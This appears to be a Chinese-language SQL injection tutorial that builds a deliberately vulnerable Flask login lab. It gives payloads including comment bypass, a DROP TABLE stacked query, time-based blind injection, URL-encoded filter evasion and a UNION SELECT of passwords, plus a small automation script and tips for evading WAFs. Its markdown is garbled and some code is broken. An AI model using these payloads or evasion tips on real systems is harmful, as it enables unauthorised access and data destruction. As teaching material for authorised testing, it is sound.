<pre><code class="language-markdown">## 一、什么让SQL注入成为经典攻击手段?
在现代互联网架构中,数据库是每个系统的核心。无论是用户登录、搜索查询还是后台管理操作,都离不开数据库的存储和处理。而当开发者疏于对输入参数的过滤与验证时,攻击者便能够通过构造恶意SQL语句,操纵数据库的行为,甚至窃取敏感信息。这就是SQL注入攻击的核心思路。
SQL注入的本质在于,攻击者通过将构造的恶意代码嵌入到应用程序的SQL查询中,以突破正常的权限控制。例如,常见的登录功能代码如下: </code></pre>python username = input("请输入用户名:") password = input("请输入密码:")
query = "SELECT FROM users WHERE username = '{}' AND password = '{}';".format(username, password) cursor.execute(query) <pre><code> 假设用户输入 username 为 admin'-- ,而 password 为空,这条SQL查询将变成: </code></pre>sql SELECT FROM users WHERE username = 'admin'--' AND password = ''; <pre><code> -- 是SQL中的注释符号,导致 AND password = '' 被忽略,攻击者无需知道密码即可成功登录。
这一漏洞之所以经典,是因为它简单、直接,并且影响范围广泛。接下来,我们将从攻击者的视角,复现一次完整的SQL注入攻击链。
---
二、环境搭建:打造你的靶场
要想研究SQL注入,首先需要一个实验环境。我们将从零搭建一个包含漏洞的应用系统。这里选择使用以下技术栈:
- Web框架:Flask(Python语言)
- 数据库:SQLite(轻量级,便于演示)
- 工具:Burp Suite(流量捕获与分析)
环境准备
安装必备组件
确保你的操作系统已安装 Python3。然后运行以下命令安装必要库:
</code></pre>bash pip install flask sqlite3 <pre><code>
创建漏洞系统
以下代码为一个模拟的登录功能,包含SQL注入漏洞。将其保存为 vulnerable_app.py。
</code></pre>python from flask import Flask, request, render_template_string import sqlite3
app = Flask(__name__)
初始化数据库
def init_db(): conn = sqlite3.connect('test.db') cursor = conn.cursor()
创建用户表并插入测试数据
cursor.execute(''' CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY, username TEXT NOT NULL, password TEXT NOT NULL ) ''') cursor.execute("INSERT INTO users (username, password) VALUES ('admin', 'admin123')") conn.commit() conn.close()
@app.route('/') def index(): return """ <h1>SQL注入实验靶场</h1> <form action='/login' method='post'> 用户名:<input type='text' name='username'><br> 密码:<input type='password' name='password'><br> <input type='submit' value='登录'> </form> """
@app.route('/login', methods=['POST']) def login(): username = request.form['username'] password = request.form['password']
conn = sqlite3.connect('test.db') cursor = conn.cursor()
存在SQL注入漏洞的查询
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}';" print(f"执行的SQL语句:{query}")
result = cursor.execute(query).fetchall() conn.close()
if result: return f"<h2>欢迎回来,{username}!</h2>" else: return "<h2>登录失败,请检查用户名或密码。</h2>"

if __name__ == '__main__': init_db() app.run(debug=True) <pre><code>
启动靶场
运行以下命令启动Flask应用: </code></pre>bash python vulnerable_app.py <pre><code> 访问 http://127.0.0.1:5000,即可进入实验靶场。
---
三、流量分析:让漏洞无处遁形
攻击者在目标系统中发现潜在输入点后,首先会进行流量捕获与分析。这里推荐使用 Burp Suite 工具。
配置Burp Suite
- 启动 Burp Suite,并设置代理端口为
8080。 - 在浏览器中配置代理,确保所有流量通过 Burp Suite。
- 访问靶场登录页面,捕获登录请求的流量。
分析登录流量
在Burp Suite的 "HTTP history" 中找到登录请求,你会看到类似以下的POST数据包: </code></pre> POST /login HTTP/1.1 Host: 127.0.0.1:5000 Content-Type: application/x-www-form-urlencoded
username=admin&password=admin123 <pre><code> 此时,尝试修改 username 为 admin'-- ,观察服务器响应。如果响应内容显示欢迎语句,则SQL注入漏洞已被成功利用。
---
四、Payload构造的艺术:从基础到进阶
SQL注入的核心在于构造有效的Payload。以下是常见的几种方式:
基础注入
通过注释符号绕过验证: </code></pre>sql admin'-- <pre><code>
堆叠查询
执行多条SQL语句: </code></pre>sql admin'; DROP TABLE users-- <pre><code>
基于时间的盲注
观察响应时间,推断数据内容: </code></pre>sql admin' AND IF(1=1, sleep(5), 0)-- <pre><code>
绕过字符限制
如果输入长度受限,可以使用编码或分块注入。例如,将注入分成两次操作,先通过一个输入点插入恶意数据,然后通过另一个点触发执行。

以下是一个完整的Python脚本示例,用于自动化SQL注入: </code></pre>python import requests
url = "http://127.0.0.1:5000/login"
payload = "admin'-- " data = { "username": payload, "password": "" }
response = requests.post(url, data=data)
if "欢迎回来" in response.text: print("[+] SQL注入成功!") else: print("[-] 注入失败。") <pre><code> ---
五、绕过与对抗:如何骗过防御系统
现代系统通常会加入防御机制,例如字符过滤与WAF(Web应用防火墙)。以下是一些绕过技巧:
字符编码绕过
将关键字符如 ' 转为URL编码: </code></pre> %27admin%27-- <pre><code>
使用注释符号
不同数据库支持的注释符号不同,例如:
- MySQL:
--或# - PostgreSQL:
-- - Oracle:
/ /
动态Payload生成
通过Python脚本动态构造Payload,避开简单的正则过滤: </code></pre>python def generate_payload(base_query): malicious_part = "UNION SELECT username, password FROM users" return f"{base_query} {malicious_part}" <pre><code> ---
六、经验分享:深入浅出的攻击者思维
SQL注入虽然经典,但仍有许多技巧可以挖掘。以下是我在实战中的一些经验分享:
- 观察系统行为:通过流量分析了解目标的数据库类型、查询结构。
- 小心试探:避免一次性输入过于明显的Payload,以免触发防御机制。
- 组合攻击:将SQL注入与其他攻击(如XSS、文件上传)结合,往往能突破边界。
最后提醒各位读者,本教程仅用于授权安全测试,请勿用于非法用途。安全研究的目标是保护系统,而非破坏它。 </code></pre>